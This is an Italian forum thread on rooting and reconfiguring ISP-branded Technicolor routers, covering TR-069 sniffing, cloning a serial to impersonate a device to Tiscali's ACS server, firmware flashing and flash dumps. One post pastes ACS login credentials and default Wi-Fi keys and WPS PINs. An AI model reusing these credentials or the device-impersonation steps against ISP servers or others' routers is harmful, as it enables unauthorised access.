Che l'ACS fosse down oggi (e anche ieri) ho letto qualche segnalazione anche in altri luoghi per questo ti ho detto cio'... poi che oltre a quel motivo ci sia anche il fatto che si bloccasse nello scaricare la config non lo escludo affatto (lo faceva gia' su 789 immagino se lo siano tenuti caro il bug)... il fatto che ti abbiano sospeso la sostituzione e' un segnale in piu' che chi doveva abbinare la config al tuo seriale non lo aveva ancora fatto... lunedi' ti diro' come andra' il provisioning sul DGA di un parente, ma essendo un upgrade da ADSL immagino filera' tutto abbastanza liscio
nel frattempo tienici aggiornato se hai qualche colpo di genio per cicciare fuori le config o il firmware
riguardo wireshark... immagino non riuscirai ascoltando dalle porte lan (non perche' criptato ma perche' non li vedi proprio quei pacchetti..)
-
@FrancYescO forse era down perchè stavano risolvendo il suo problema :D
@Mirko1024 sono in chiaro se sniffi con wireshark il provisioning, quindi ti toccherebbe rifare il reset.
-
Luke tu ci scherzi ma varie volte con tiscali ho avuto l'impressione che buttassero giu un intero servizio per risolvere il problema di qualcuno
anche verso il server sip non credo sia criptata la conversazione ma e' sulla VLAN 935 della vdsl non vedo perche' dovrebbe far girare quei pacchetti anche sulla lan...
-
Ci scherzo ma non più di tanto, dopo tutte le sue prove il fatto che oggi all'improvviso abbia funzionato non può essere proprio del tutto un caso.
LA telefonata non è criptata ma l'autenticazione sip è su digest quindi non vedi la password trasmessa in chiaro. Anche i pacchetti vlan li vedi normalmente in wireshark sniffando la wan.
-
Dunque, ci sono degli sviluppi, positivi.
Alle 20:15 ho richiamato il 130 in quanto non mi sembrava ragionevole che a distanza di oltre 24 ore ancora non si fosse ultimata la portabilità, nonostante il client risultasse registrato.
Mi hanno confermato che c'era un problema di instradamento e che avrebbero sollecitato Infostrada in tal senso, ma che avrei dovuto attendere ormai lunedì.
Ne ho approfittato per chieder conto anche del fatto che non mi funziona nulla delle mie soluzioni su provider VoIP esterni. Mi è stato confermato dell'esistenza di problemi di questo tipo sul TG789vacV2, ma non sul DGA4130, per loro nuovo.
E mi è stata aperta una richiesta specifica al riguardo.
Poi ho chiesto come mai proprio oggi sia andata in porto la configurazione via TR-069, al quinto reset consecutivo (dopo almeno altri 15 nelle scorse 2 settimane) e mi ha risposto che il guasto è stato chiuso alle 15:18 per configurazione del CPE, quando in realtà è tornato on-line verso le 15:04. Forse mi ha precisato, alla luce delle mie puntualizzazioni precise, hanno chiuso il guasto dopo aver controllato che si configurasse.
A me questa cosa non convince, nel senso che se chiudono il guasto, mi attendo una comunicazione via sms... (o sogno?).
Tanto per confermare che a volte non sanno bene cosa raccontano quelli dell'assistenza di primo livello, posso aggiungere che si è sistemato anche l'instradamento in quanto adesso (dopo un paio d'ore) funziona anche in ingresso. E sono stato al telefono 30 minuti con il supporto tecnico del 130 che sembrava aver esplorato bene l'anomalia dell'instradamento impedito da qualcosa sulla rete Infostrada (cosa che mi sembrava invero molto strana).
Per quel che concerne le credenziali, ovviamente lo sniffing lo implementerei sulla WAN.
Ma mi è venuta un'idea forse più semplice, che non richiede di operare sul DGA4130TI.
Potrei prendere un DGA4132 sbloccato di cui dispongo, cambiargli il seriale per farlo corrispondere a quello del modem Tiscali e provare a fargli succhiare la configurazione dall'ACS? Serve forse alterargli anche il nome del modello in modo che sia conosciuto all'ACS?
Avete suggerimenti su come pervenire celermente al risultato? Chiaramente se il 4132 mi succhiasse le credenziali VoIP poi sarebbe banale leggerle, essendo già sbloccato.
Dato che entrambi, LukePicci e FancYescO, mi sembrate assai smaliziati, col vostro aiuto penso di impiegarci molto meno che a dover procedere indagando da zero autonomamente.
Quando avrò il 4132 configurato e che funziona a dovere, potrò mettere le mani a cuor leggero sul 4130 senza timore di restare senza telefono, nell'intento di ciucciargli fuori il firmware Tiscali.
Grazie.
Un saluto.
Mirko.
-
Si, puoi provare a vedere se cambiando l'url dell'acs e il seriale del 4132 il provisioning va a buon fine. Chiaramente più parametri fai coincidere con quelli del dga4130 o del tg789vac v2 più è facile che il tutto funzioni. Io però ti consiglio di fare comunque sniffing di quello che accade dopo il reset, così ti rendi conto di cosa passa da e verso l'acs e anche di cosa volendo serve davvero clonare sul 4132 affinché gli assomigli. E' relativamente la cosa più semplice e vai a colpo sicuro. Fermo restando che, alla peggio, se alla fine proprio non riesci o non hai voglia di sbatterti ulteriormente basta che mandi ad uno di noi il seriale del 4130 in pvt e ti diamo le credenziali e le config del voip. Un altra cosa che puoi fare, se vuoi è mandarmi un identikit del 4132 (seriale escluso), cioè l'insieme del valori che il 4132 usa nei messaggi cwmp per identificarsi come modello. Potrei usare questi dati per provare a vedere se l'acs accetta di buon grado di mandarmi le configurazioni (le mie) spacciandomi per un dga4132. Se mi va a buon fine allora è facile che il tentativo che hai pensato di fare possa avere successo, viceversa in caso contrario. Ovviamente se fai lo sniffing hai automaticamente tutti i dati dell'identikit in bella vista, anche quelli del dga4130, che invece dal 4132 puoi leggere avendolo sbloccato.
-
Io posso dire che qualche prova in passato l'ho fatta anche su firmware alternativi del 789 (se non sbaglio in una delle tante gli sostituii totalmente il file env con uno preso da firmware Tiscali) cercare di fargli scaricare la config dall'ACS ma non sono mai riuscito nell'intento (anche perché tra poco il poco debug che riuscivo a fare e server ACS Tiscali che ogni tanto si rifiuta di rispondere mi è passata subito la voglia)
Come dice anche Luke bisogna controllare bene quali sono i parametri che vengono passati in fase di handshaking all'ACS (e vedere quali sono quelli per cui lui ti ignora/gli unici che accetta)
-
Banalmente pensavo di usare un approccio molto "let's try" prima di fare sniffing sulla wan:
- editare il file etc/config/env -> option serial 'serialeclonato'
- editare il file etc/config/cwmpd_config -> option acs_url 'http://webdirect.tr69.tiscali.it:8080/ftacs-basic/ACS'
Però ritengo che siano da valorizzare opportunamente altre opzioni se voglio tentare alla cieca:
in particolare leggendo i file in questione mi sorgon dubbi riguardo:
option prod_friendly_name
option prod_name
option prod_number
option connectionrequest_username
option connectionrequest_password
option acs_user
option acs_pass
E ancora, si identificherà come "MediaAccess TG789vac Xtream 35b" se sfrutta prod_friendly_name per farlo?
Temo che la cosa più semplice sia proprio quella di sniffare lasciando perdere i tentativi alla cieca di spacciarsi per un DGA4130TI.
A meno che qualcuno non abbia modo di passarmi i file env e cwmpd_config eliminando ovviamente i dati "personali" di un modem sbloccato che si provvigiona automagicamente su tiscali (in modo da ispirarmici più facilmente).
btw, esiste un modo per triggerare il provisioning via ssh da un dga4132 sbloccato, senza che sia necessario resettarlo? Mi pare di aver letto nei giorni scorsi che c'è il comando ma non ricordo già più quale fosse.
Grazie a chi mi sta coadiuvando in questa operazione "sotto copertura" per recuperare alternativamente le mie credenziali voip.
Un saluto.
Mirko.
-
Oltra ai campi che hai citato, per i quali sono abbastanza sicuro qualsiasi valore inserisci vada sempre bene, devi far combaciare i percorsi di altre informazioni inviate, ad esempio il campo contenente il tuo ip potrebbe o meno dover essere presente sotto un certo percorso specifico piuttosto che un altro. Ad ogni modo sarebbe interessante scoprire quelli del 4130 in versione non TIM, poiché tim rimarchia e modifica molto più di quanto non faccia tiscali, e questo è il principale motivo per cui un device con firmware tim potrebbe dare più problemi di un altro nel tentativo di spacciarsi per qualcos'altro. Banalmente il 789vacv2 di tim usa il datamodel radice "Device.", diverso da quello del 789vacv2 di tiscali/UNO/iinet "InternetGatewayDevice.". Questi due datamodel (standard) hanno delle differenze per cui un certo valore potrebbe essere sotto un determinato percorso in un caso e sotto un percorso differente nell'altro. Vai con lo sniffing, vedi come è fatto l'originale, poi prova a spacciare il dga4132 per qualcosa che piace a tiscali, e sempre sniffando vedi come i valori che modifichi finiscono dentro i messaggi. Il tentativo alla cieca da un device tim secondo me non ne vale la pena.
-
esiste un modo per triggerare il provisioning via ssh da un dga4132 sbloccato, senza che sia necessario resettarlo?
questa e' una domanda a cui stavo cercando di trovare una risposta anche io, tiscali pare fornisca le credenziali solo se rileva il modem come appena resettato (comando 0 BOOT del CPE se ricordo bene che si vede anche tramite log), io il modo che avevo trovato per simularlo era eliminare il file /etc/cwmpd.db
e riavviare il demone con /etc/init.d/cwmpd restart (che su firmware tiscali del 789vac causava un reboot dato che era "protetto" da dropbear) ma non so se altro e' necessario per "pulire"
altro che chiedevi/ti puo essere utile preso da un 789vac tiscali:
/etc/config/cwmpd
config single_config 'cwmpd_config'
option acs_url 'http://webdirect.tr69.tiscali.it:8080/ftacs-basic/ACS'
option state '1'
option upgradesmanaged '1'
option connectionrequest_auth '1'
option periodicinform_enable '1'
option periodicinform_interval '86400'
option connectionrequest_port '51005'
option acs_user 'technicolor'
option acs_pass 'techn_tr69@'
list forcedactives 'InternetGatewayDevice.Layer3Forwarding.DefaultConnectionService'
option interface 'wan'
option connectionrequest_password 'ftacs'
option connectionrequest_username 'ftacs'
option firstusedate '2018-06-22T06:57:30Z'
/etc/config/env (tutte le X maiuscole sono caratteri censurati da me):
config envvars 'var'
option company_name 'Technicolor'
option prod_friendly_name 'MediaAccess TG789vac v2'
option prod_name 'MediaAccess TG789vac v2'
option prod_number 'MediaAccess TG789vac v2'
option ssid_prefix 'TISCALI-'
option ssid_prefix_5G 'TISCALI5G-'
option rtfds '1'
option oui '101331'
option hardware_version 'VANT-6'
option prod_description 'Technicolor Internet Gateway Device'
option friendly_sw_version_activebank '16.3.7636-2921002-20170419153951-718b590506a915e24be58946f4755c0c617d9c8d'
option friendly_sw_version_passivebank 'Unknown'
option local_eth_mac '12:13:31:XX:XX:XX'
option local_wifi_mac '12:13:31:XX:XX:XX'
option banksize '48627712'
option serial 'CPXXXXXXXXX'
option ssid_mac_postfix_r0 'CA1D1F'
option default_key_r0_s0 'A077E0DAE9'
option default_wep_key_r0_s0 '7835F3269D'
option default_wps_ap_pin_r0_s0 '81707003'
option default_key_r0_s1 'CCAEAEC599'
option default_wep_key_r0_s1 'E46192CC3E'
option default_wps_ap_pin_r0_s1 '81707003'
option default_key_r0_s2 '8605854A10'
option default_wep_key_r0_s2 '1AE1F512F1'
option default_wps_ap_pin_r0_s2 '81707003'
option default_key_r0_s3 '1628B00EC8'
option default_wep_key_r0_s3 '5DDF1987BC'
option default_wps_ap_pin_r0_s3 '81707003'
option ssid_mac_postfix_r1 'CA1D27'
option default_key_r1_s0 'A681631EE3'
option default_wep_key_r1_s0 '14C64D7EA1'
option default_wps_ap_pin_r1_s0 '81707003'
option default_key_r1_s1 'E406650811'
option default_wep_key_r1_s1 '913310487F'
option default_wps_ap_pin_r1_s1 '81707003'
option default_key_r1_s2 'FD65A154CE'
option default_wep_key_r1_s2 'A324911575'
option default_wps_ap_pin_r1_s2 '81707003'
option default_key_r1_s3 '9C99130DA8'
option default_wep_key_r1_s3 '1E12C8CC6F'
option default_wps_ap_pin_r1_s3 '81707003'
option bootloader_version '2.0.85'
option bootloader_oid 'unknown'
config ripcontent 'rip'
option eth_mac '10:13:31:XX:XX:XX'
option wifi_mac '10:13:31:XX:XX:XX'
option usb_mac '00:90:D0:00:00:02'
option chip_id '10E97B'
option variant_id '0'
option pba_tocom '3743534A'
option fia 'SW'
option factory_id 'CP'
option company_id 'TMBB'
option board_mnemonic 'VANT-6'
option factory_date '171018'
option product_id '0'
option serial 'XXXXXXXXX'
option modem_access_code '765894XXXX'
config envvars 'custovar'
option URL 'www.tiscali.it'
option cwmpd_enabled '1'
option usbpower '1'
option first '0'
- puoi tranquillamente mettere il seriale di un DGA4130 e spacciarti per un TG789 (mettere il seriale di un 788vn/789vnv3 su un 789vac gli fa scaricare la config senza problemi)
- non ne sono sicuro al 100% ma credo che il demone cwmpd non legga altro fuori che le informazioni che sono nella sezione config ripcontent 'rip' del file env
il 789vacv2 di tim usa il datamodel radice "Device.", diverso da quello del 789vacv2 di tiscali/UNO/iinet "InternetGatewayDevice.". Questi due datamodel (standard) hanno delle differenze per cui un certo valore potrebbe essere sotto un determinato percorso in un caso e sotto un percorso differente nell'altro.
questo penso sia il principale motivo per cui non sono mai riuscito nell'intento, anche se successivamente alle mie prove ho scoperto che su firmware TIM non fanno altro che ignorare il pattern InternetGatewayDevice.* e al contrario sui firmware Tiscali Device.* si riesce a "riabilitare" queste path dal file /etc/config/transformer per fare ricaricare il file dovrebbe bastare un /etc/init.d/transformer restart ... ma non e' detto che il datamodel sia identico.
a quanto sembra Technicolor aveva pensato bene di mantenere entrambe le path per retrocompatibilita' e loro invece hanno volutamente rompere
-
Ringrazio entrambi per le informazioni che mi avete dato. Sto smacchinando su questi Technicolor soltanto da quando mi hanno mandato il DGA4130TI e quindi anche se ho letto parecchio sui vari forum che ne parlano, non ho che una minima conoscenza di tutto quanto li riguarda.
Per dire, ho sbloccato il TIMHUB che avevo in produzione (stock) soltanto dopo che TIM me l'ha aggiornato alla 1.1.2 (che prima sapendo fosse possibile, non mi son cimentato), ovviamente trovandomi con la 1.1.1 sull'altro banco e vi dirò che per me da niubbo, non è stata per nulla banale la cosa.
Anche l'altro TIMHUB nuovo, che avevo nel cassetto da gennaio 2018, con dentro la 1.0.3, l'ho sbloccato con autoflashgui, ma dopo son riuscito a incasinarlo (nelle prove sulla fibra Tiscali) e per timore d'aver combinato un pasticcio, prima gli ho tolto il root da GUI (facciamoci del male) e poi ho preferito controllare se non funzionasse correttamente su linea TIM dove ovviamente si è aggiornato alla 1.1.1 in bank2 (cosa che in un certo senso mi attendevo). Quindi avevo due TIMHUB con la 1.1.1 che non riuscivo a far ripartire dalla 1.0.3 nemmeno flashando la 1.0.3 con TFTP.
Ho penato un po' più del previsto, ma ora sono entrambi sbloccati, con la 1.1.2 e la gui di Ansuel.
Finalmente il DGA4130TI da ieri mi funziona correttamente anche se non mi permette di usare a valle il VoIP su provider esterni. Per cui mi devo industriare per estrapolare i parametri VoIP ed usarli sul DGA4132.
Oggi ho anche riprovato a usare autoflashgui per flashargli la 1.0.3 ma l'operazione non dà l'esito sperato in quanto come avevo già riscontrato provando a valorizzare il campo senza riuscirci, il dyndns non si può sfruttare per iniettare comandi al modem col firmware attuale.
Quindi accantonata la possibilità di leggergli la flash in hw, non mi resta che sniffare sulla WAN la fase di privisioning tramite TR-069 (per non andare alla cieca). Preferibilmente senza resettare il DGA4130TI, che non ho voglia di penare se risultasse difficoltosa la fase di provisioning (son conservativo, se non lo si fosse capito).
Mi son reso conto che a casa non ho un hub e nemmeno uno switch managed per mandare in span una porta. Quindi per oggi non posso fare sniffing sulla WAN e resto in stand-by con i miei piani per procedere.
Riflettendo, comunque la vedo ardua a succhiargli fuori il firmware Tiscali se non attrezzandosi in hw... (a meno che qualcuno non scovi un'altra vulnerabilità post marzo 2018...).
Un saluto.
Mirko.
-
@matteone2 ciao ho rimediato un modem uguale ,sto provando a mettere la gui di Ansuel o cambiare firmware senza nessun risultato.
Hai qualche idea su come fare ? grazie
-
@rusudanion cioe' non riesci nemmeno a caricare il firmware tim con tftp sul 4130 marchiato tiscali?
-
Credo stia parlando del VBNT-F, l'xtream di fastweb
-
ho il modem di fastweb e vorrei modificarlo per renderlo libero.almeno conme il dga con la gui di ansuel
-
La GUI di Ansuel non è direttamente installabile sugli xtream di Fastweb, sarebbe necessario un porting. Per il solo root, c'è la procedura in prima o seconda pagina del thread.
-
ma almeno dal primo post leggo sia un firmware 16.2.. qualcuno la gui ha gia provato ad installarla?
-
@matteone2 ma alla fine sei riuscito a recuperare l'rbi o il dump della inform cwmp in chiaro?
-
...
a me interessava avere tutti i tab per poterlo configurare con Tiscali. Attualmente uso un dga4130 Tim con fibra e voip Tiscali. Pensi che potrei abilitare da telnet i tab mancanti o almeno configurarlo per Tiscali. Grazie
-
Suppongo tu abbia configurato manualmente il dga4130 per farlo funzionare con il voip di Tiscali. Dato che finalmente ho i miei parametri VoIP ma ci ho perso un paio d'ore senza riuscire a farlo registrare, mi daresti qualche suggerimento sulla falsariga di quello che hai fatto tu per far andare il VoIP di Tiscali sul DGA4130 Tim sbloccato?
Grazie.
Mirko.
-
Non qui però che sarebbe off topic, fatelo nel thread sul dga4130 sboccato di tim (anche se poi tu intendi riprodurre i passi su un altro device).
-
Ciao a tutti mi servirebbe di modificare le opzioni per quanto riguarda la parte di 3g backup. Dovrei settare il modem che va solo con la chiavetta 3g su rete Wind. Ho provato a modificare trammite sftp alquni file ma senza Successo. Ho capito che va fatto tutto trammite ssh ma non so che comandi inviare. Qualcuno può darmi una mano. Grazie
-
Ho visto che hai scritto anche nel thread sul TG789vac v2, se il tuo non è un Xtream è quello il thread giusto, non questo.
-
ciao grazie per la giusta osservazione ,purtroppo :) ho tutti i modem tecnicolor da vari provider italiani tra cui il 789vac v2 789vac xtream e dga4130.
-
Ah sei un collezionista! :rotfl:
Bhè allora ti do un suggerimento generale: dei tre che hai nominato, sia il primo che il terzo, rispettivamente VANT-6 e VBNT-K sono stati rivoltati da cima a fondo da utenti qui in questo forum, per cui ti suggerisco di iniziare a capire come risolvere la cosa su uno di quelli. Poi se proprio vuoi riprodurre la cosa sul secondo, il VBNT-F, oggetto di questo thread, una volta sbloccato vedrai che la situazione è analoga.
-
collezionista dai tempi del pirellone discus.tutti i modem sono rimediati ai mercatini del usato.tutti i modem sono con root e riconoscono le chiavette ma non riesco a trovare le giuste stringhe da madare trammite ssh per abilitare il provider wind.ho provato a modificare trammite winscp ma non funziona.sicuramente ce da abilitare anche il fallback e sopratutto gli apn.se modificati a mano con sftp non funzionano .servono i comandi trammite ssh.
sai come posso procedere oppure dove cercare.qui sul forum non trovo nulla.grazie
-
Come avrai capito dalla nostra discussione sul thread del 789vac v2 queste chiavette sono tutte diverse, e ogni tipologia può o meno avere problemi di alcuni tipi. Un indicazione generica non c'è, e infatti trovare un sistema su cui funzionano tutte plug'n'play è sostanzialmente un'impresa. I problemi possono nascere a vari livelli, e il fatto che in ambiente Linux ogni parte del sistema sia mantenuta in un progetto separato da una community separata di cui ogni membro ha a disposizione solo alcune configurazioni da poter testare non aiuta affatto. Tra l'altro questi trabiccoli sono basati quasi sempre su kernel e componenti a versioni molto vecchie, per cui dire che è un impresa rende davvero bene il concetto.
Per chi legge, la discussione sul come far funzionare una Huawei K4305 sul 789vac v2 la trovate nel thread relativo a quel router.
-
5- adesso sul PC lanciate i comandi per attivare l'utenza root ed il servizio SSH dropbear:
...
Ho provato a dare questi comandi ma non sanno nessun output. Se do il comando ls mi fa vedere le cartelle del modem, quindi penso che il collegamento ci sia. Come faccio a sapere se ho attivato l'accesso root e sbloccato SSH dropbear?
-
semplicemente provi ad accedere con putty o simile in ssh
che i comandi non diano output e' normale
-
Ok, effettivamente... Le credenziali? La password è quella che ho dato io, e il nome utente?
-
root
-
grazie mille, ha funzionato. :evilgrin:
-
puoi dirmi che versione del firmware è presente sul tuo router ? io con la 17.1 non ci sono riuscito ...
grazie
-
Qualcuno è riuscito a sbloccarlo e caricare un altro firmware? Non riesco ad aprire le porte con sto maledetto modem >:( anche se ho impostato tutto nella sezione port forwarding >:(
-
Vedi i post #5 e #7 di questo thread per capire se puoi ottenere l'accesso come root. Firmware alternativi da caricare per questa board VBNT-F non ce ne sono, e né abbiamo trovato le immagini in .rbi di quelli fastweb.
-
Non è quello fastweb ma tiscali! Ha board VBNT-K e sono state riparate le vulnerabilità della sezione ping e ddns! >:(
-
Quello tiscali riporta il nome TG789vac Xtream 35b ma in realtà è un DGA4130 a tutti gli effetti. In tal caso puoi banalmente anadre sul thread del DGA4130 di tim, che è anche lui un VBNT-K e caricare i suoi firmware.
Bada però che poi tornare indietro non è possibile perchè per il firmware tiscali non abbiamo né il file rbi da ricaricare allo stesso modo né un dump da caricare tramite shell di root dall'interno. (edit: li abbiamo, quindi da ora in poi si potrà anche tornare indietro)
-
Ma quei firmware sono migliori di quelli tiscali? Posso configurare voip e adsl manualmente? Ho guardato su quel forum ma i metodi descritti non funzionano con il mio! O forse sbaglio qualcosa!
-
Sono praticamente lo stesso firmware col marchio TIM al posto di quello tiscali, ma sono fallati, quindi sbloccabili (dopodiché c'è pure una custom gui da installare con cui puoi fare anche la cioccolata calda). Su quel thread c'è scritto come sbloccare il firmware tim, tu chiaramente devi prima sostituire il tuo con quello tim per poter seguire quella procedura. Chiedi in quel thread come fare a caricare il firmware tim sbloccabile tramite tftp sul tuo.
-
Temo che non sia così semplice sai. Ho sbloccato e configurato con molta difficoltà un dga4130 Tim sulla mia rete Tiscali (tftpd per installare la 1.0.3, fail boot 3 volte, root, sostituzione gui, aggiornamento firmware e modifica parametri nella cartella etc/config) e quando tutto funzionava mi apprestavo a fare la stessa cosa sul dga4130 marchiato Tiscali (lo scolapasta bianco) ma mi sono accorto che la procedura di hard reset mediante uso del tftpd per inoculare il firmware agtef 1.0.3 non funziona. In sostanza il modem Tiscali é come se non sentisse il pulsante di reset invalidando la modalità BOOTF. Nessuno di voi ha già affrontato questo tentativo?
-
Dubito che tiscali abbia rilasciato aggiornamenti, per cui non si dovrebbe essere in bank_2, e pertanto la procedura del triplo fail boot per lo switch non dovrebbe essere necessaria. Nota che tftp non fa alcun reset, cambia solo il contenuto della bank_1 contenente i dati in sola lettura del firmware, ogni contenuto resettabile è in una partizione separata. Mi pare molto strano che tftp sia fuori uso, prova ancora.
-
guarda, ci riproverò per la terza volta, ho pure provato su due PC differenti ipotizzando qualche incompatibilità della scheda di rete ma in entrambi i casi niente, poi trall'altro quando accendo il modem tenendo premuto il pulsante di reset mi sembra che le luci si comportino diversamente da come facevano con il dga4130.. boh, saprò dirti
-
@albelia se quando lo avvii col tasto reset premuto le luci si comportano diversamente da quando lo avvii normalmente allora è quasi sicuramente in bootp, non ci sono molte altre possibili interpretazioni.
Altra cosa, non c'entra niente col funzionamento di tftp in bootp, ma ti suggerisco di fare un reset alle impostazioni di fabbrica PRIMA di flashare il firmware via tftp. Cioè fai un reset, e appena vedi che si riavvia lo spegni prima che il firmware tiscali sia caricato. A questo punto vai in bootp e carichi il firmware nuovo. Tutto questo per scongiurare l'eventualità che le settings esistenti di tiscali possano impedire al firmware tim di caricarsi correttamente, e non avendo l'RBI di tiscali da rimettere al suo posto finiresti in una situazione decisamente brutta. Non è detto che sia così, ma su questo passaggio non si hanno ancora testimonianze quindi io ci andrei con cautela prendendo tutte le possibili precauzioni.
-
@LuKePicci ti ringrazio per la gentile risposta,
ti confermo altresì la difficoltà di fare avviare il modem in modalità BOOTF ma terrò conto dei tuoi suggerimenti di resettarlo alle impostazioni di fabbrica (come faccio un deep reset ? posso farlo col pulsantino o debbo farlo direttamente dall'interfaccia WEB?).
Ripeto però che avendo già operato con il DGA4130 non pensavo di trovare tutte queste difficoltà con il modem Tiscali da cui il sospetto del malfunzionamento del pulsante di reset.
Che sia il primo a percorrere questo passaggio con i rischi del caso è un eventualità di cui sono consapevole ma che sono disposto a correre: d'altronde, cosi com'è, questo firmware oltre ad essere blindato come il caveau della Banca d'Italia è una iattura come poche altre ne ho viste.
Alcune cose poi non funzionano bene (esempio: se ricevo una telefonata viene resettato l'orario impostato sul cordless). Per questo motivo ho comprato un DGA4130, l'ho sbloccato, rootato ed impostato per lavorare con il VOIP Tiscali.
Un saluto.
-
GUI o tastino per il reset è uguale (almeno è così sugli altri firmware conosciuti). Visto che hai dubbi sul funzionamento del tastino fallo con quello, così intanto vedi se è proprio rotto o altro. Comunque se mai notate un aggiornamento firmware da parte di tiscali su questo modello avvisatemi.
-
@LuKePicci e niente, ti confermo che il tasto reset non funziona; ho provato a tenerlo premuto 1 minuto da acceso e del reset, ad esempio del WiFi, manco l'ombra. Sospetto che i diabolici sardi abbiano manomesso il reset hw per evitare manipolazioni al router oppure il mio è semplicemente un esemplare difettato.
Mi arrendo parecchio infastidito.
Grazie mille per la consulenza.
-
...
Ho controllato con wireshark cosa succede quando lo mandi in BOOTP, e il nome del file che lui cerca e' VBNT-F. Son riuscito infatti a farglielo scaricare,
ma siccome era un firmware tim (1.0.3) rinominato, al boot mi son ritrovato al punto di partenza (in altre parole deve aver fatto qualche check sul file e non
gli e' piaciuto per niente).
Mi tocchera' controllare con la seriale che cavolo succede e se si puo' aggirare il problema.
A guardarle, le due schede (tim e fastweb) sono identitiche, anche se la denominazione VBNT e' diversa.
Volevo chiedere infine una cortesia: se dovete parlare della versione tiscali, non potete parlarne in un altro thread?
Piu' che altro perche' uno deve sempre stare attento a leggere se l'utente X si riferisce alla versioen fastwebo a quella tiscali.
Questo thread era in realta' nato per quella fastweb (basta vedere il primo messaggio).
-
Lui cerca di scaricare o un file col nome della board o quello specificato dal dhcp. E sì, deve essere per la stessa board altrimenti il firmware non lo carica.
Questo thread si riferisce al VBNT-F, e hai ragione riguardo la confusione con quello Tiscali, purtroppo però quei geni hanno usato lo stesso nome per due device diversi e due nomi diversi per lo stesso device... quindi giustamente la gente atterra qui cercando il nome che legge nelle informazioni e sperando di trovare aiuto visto che comunque più o meno questo è frequentato.
-
ma se uno volesse provare ad usarlo su TIM (io a casa ho tim 200/20 e un modem di back up mi farebbe comodo),
deve proprio cambiare il firmware, ho dopo aver ottenuto il root, posso in qualche modo sbatterci dentro la configurazione
tim (magari configurando anche sip)???
Ho gia' provato ovviamente a vedere se va, ma aggancia solo la portante.
-
Dopo aver ottenuto il root puoi farci quello che ti pare. Compreso farlo funzionare con tim. Però fammi una cortesia, se riesci ad ottenere il root sul VBNT-F fanne un dump del firmware fasyweb e condividilo, può tornare utile anche solo per essere ispezionato al fine di recuperarne in futuro una versione flashabile.
-
E' vulnerabile sul ping, almeno quello che ho io. Sono un po' indietro su configurazione e dump ... c'e' una piccola guida?
-
Un po' tutte quelle sui vari tg789 e dga 413x, più i secondi visto che si tratta di un device della famiglia. Purtroppo questo qui di fastweb ce l'hanno in pochi e dump in giro non ce ne sono quindi anche chi ha sviluppato la custom gui per quei modelli difficilmente sa se è necessario cambiarne qualcosa affinché funzioni correttamente su questi. Se hai ottenuto l'accesso come root ad ogni modo basta che fai una copia col comando dd di entrambe le bank (mtd3 ed mtd4) e te le salvi sul pc. Tipo 'dd if=/dev/mtd3 of=/tmp/bank_1.dump'.
-
Ho messo qua i dump .... poi metteteli voi eventualmente nel repository.
https://mega.nz/fm/PaBRSaQY
Ho controllato con diff dopo aver fatto l'upload e sono identici, quindi basta scaricare uno dei due.
La versione esatta e' ...
|_ _|.-----.----.| |--.-----.|__|.----.-----.| |.-----.----.
| | | -__| __|| | || || __| _ || || _ | _|
|___| |_____|____||__|__|__|__||__||____|_____||__||_____|__|
N E X T G E N E R A T I O N G A T E W A Y
--------------------------------------------------------------------
NG GATEWAY SIGNATURE DRINK
--------------------------------------------------------------------
* 1 oz Vodka Pour all ingredients into mixing
* 1 oz Triple Sec tin with ice, strain into glass.
* 1 oz Orange juice
--------------------------------------------------------------------
Product: vbnt-f_fastweb_r16-2-a
Release: Jade (16.2)
Version: 16.2.7825-3401002-20170627172939-bca18a9e967f024980744d0bdc5476712638e931
Hash config: bca18a9e967f024980744d0bdc5476712638e931
Hash openwrt: 145da8c54e30475697d22eff2ee3235115879fb5
Hash kernel: df9cae686ba754c06f2732f2db08c7f79b832cf2
Hash packages: c795539c113f5101949cad831db0f13f4ab4b0d5
Hash technicolor: 45379d067fc6559287f19836c95e0fd6b4764c9a
Hash lte: a10557d19242f01ed4c3a80d7c4117c90372a112
Hash custo: cf76f904d858a97342e171c794dc7fbe6e2cf182
Hash mindspeed: 91b6a7a4d703268d6023c3a58da3d33fc62e7ed8
Bootloader: 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
E' talmente vecchia che e' basata su openwrt 12 ... almeno cosi dicevano i file sul file system.
-
Dite che vale la pena fare un tentativo per "trasformarlo" in TIM con dd (ammesso che trovo il dump del firmware tim da qualche parte)?
Basterebbe riscrivere uno dei due banchi con il dump tim e rendere quel banco attivo ??
Dovrei cancellare o sovrascrivere anche altro?
PS: ovviamente prendendosi il rischio che a parte la sigla, ci sia davvero qualche differenza hardware tra i due, che onestamente non vedo con le foto della board di entrambi.
-
Non ti funziona, ogni immagine è firmata, e la firma è validata contro una chiave (in realtà una chain di chiavi) inclusa da qualche parte tra la partizione erip e il bootloader. Puoi avviare solo immagini firmate per quella board. Ti direi di provare per renderti conto se non fosse che poi l'unico modo epr recuperarlo è tramite tftp ma non abbiamo gli rbi da caricare in quella maniera.
I link ai dump credo sia errato. Comunque grazie mille in anticipo.
-
prova questo
https://ufile.io/2n7j4
Ne ho messo solo uno perche' tanto l'altro e' uguale.
Tornando al farlo funziona con TIM, magari voip compreso .... su che banco c'e' la configurazione?
Si puo' scaricare in chiaro? Dici che se copio pari pari una della TIM potrebbe funzionare?
-
Su bank_1 e bank_2 (le partizioni, guardale con cat /proc/mtd) vengono salvate delle immagini squashfs in sola lettura, tipo quelle dei live cd di linux. C'è un'altra partizione, il cui nome è quello che corrisponde ad mtd2 che viene montata nel percorso /overlay, ed usa un filesystem scrivibile in cui vengono salvati tutti i file che hanno subito modifiche rispetto alla loro versione contenuta in /rom. Quindi hai, il contenuto read-only dell'immagine squashfs della bank avviata montata in /rom, le modifiche a quei file salvate nella partizione con filesystem scrivibile in montata in /overlay, e in /, la rott, il merge tra le due, che è quello su cui il sistema gira. E' così che funziona in genere Openwrt. Se cancelli tutto il contenuto della partizione montata in /overlay hai praticamente fatto un factory-reset. Quello a cui devi fare attenzione è che questa partizione è la stessa sia che tu avvii il firmware contenuto in bank_! che in bank_2. Non credo ti convenga copiare file alla cieca, per farlo funzionare ti basta impostare le solite due cose e basta.
-
c'e' nel repository una dump della configurazione del 4130 tim??
Non voglio copiarla pari pari, ma modificare quello che serve ... sicuramente la parte legata alla wan, visto che una volta ottenuta la portante,
la sessione non sale perche' evidentemente tim vuole un'altra configurazione per la wan.
-
dimenticavo ... nella config ho trovato env.var.telstra_webui='1'
L'ho settato io ad uno sperando tirasse su un'altra webui, ma niente.
e c'e' anche env.var.luci_webui='0' ... provero' a settarla ad uno e vedere che succede ...
-
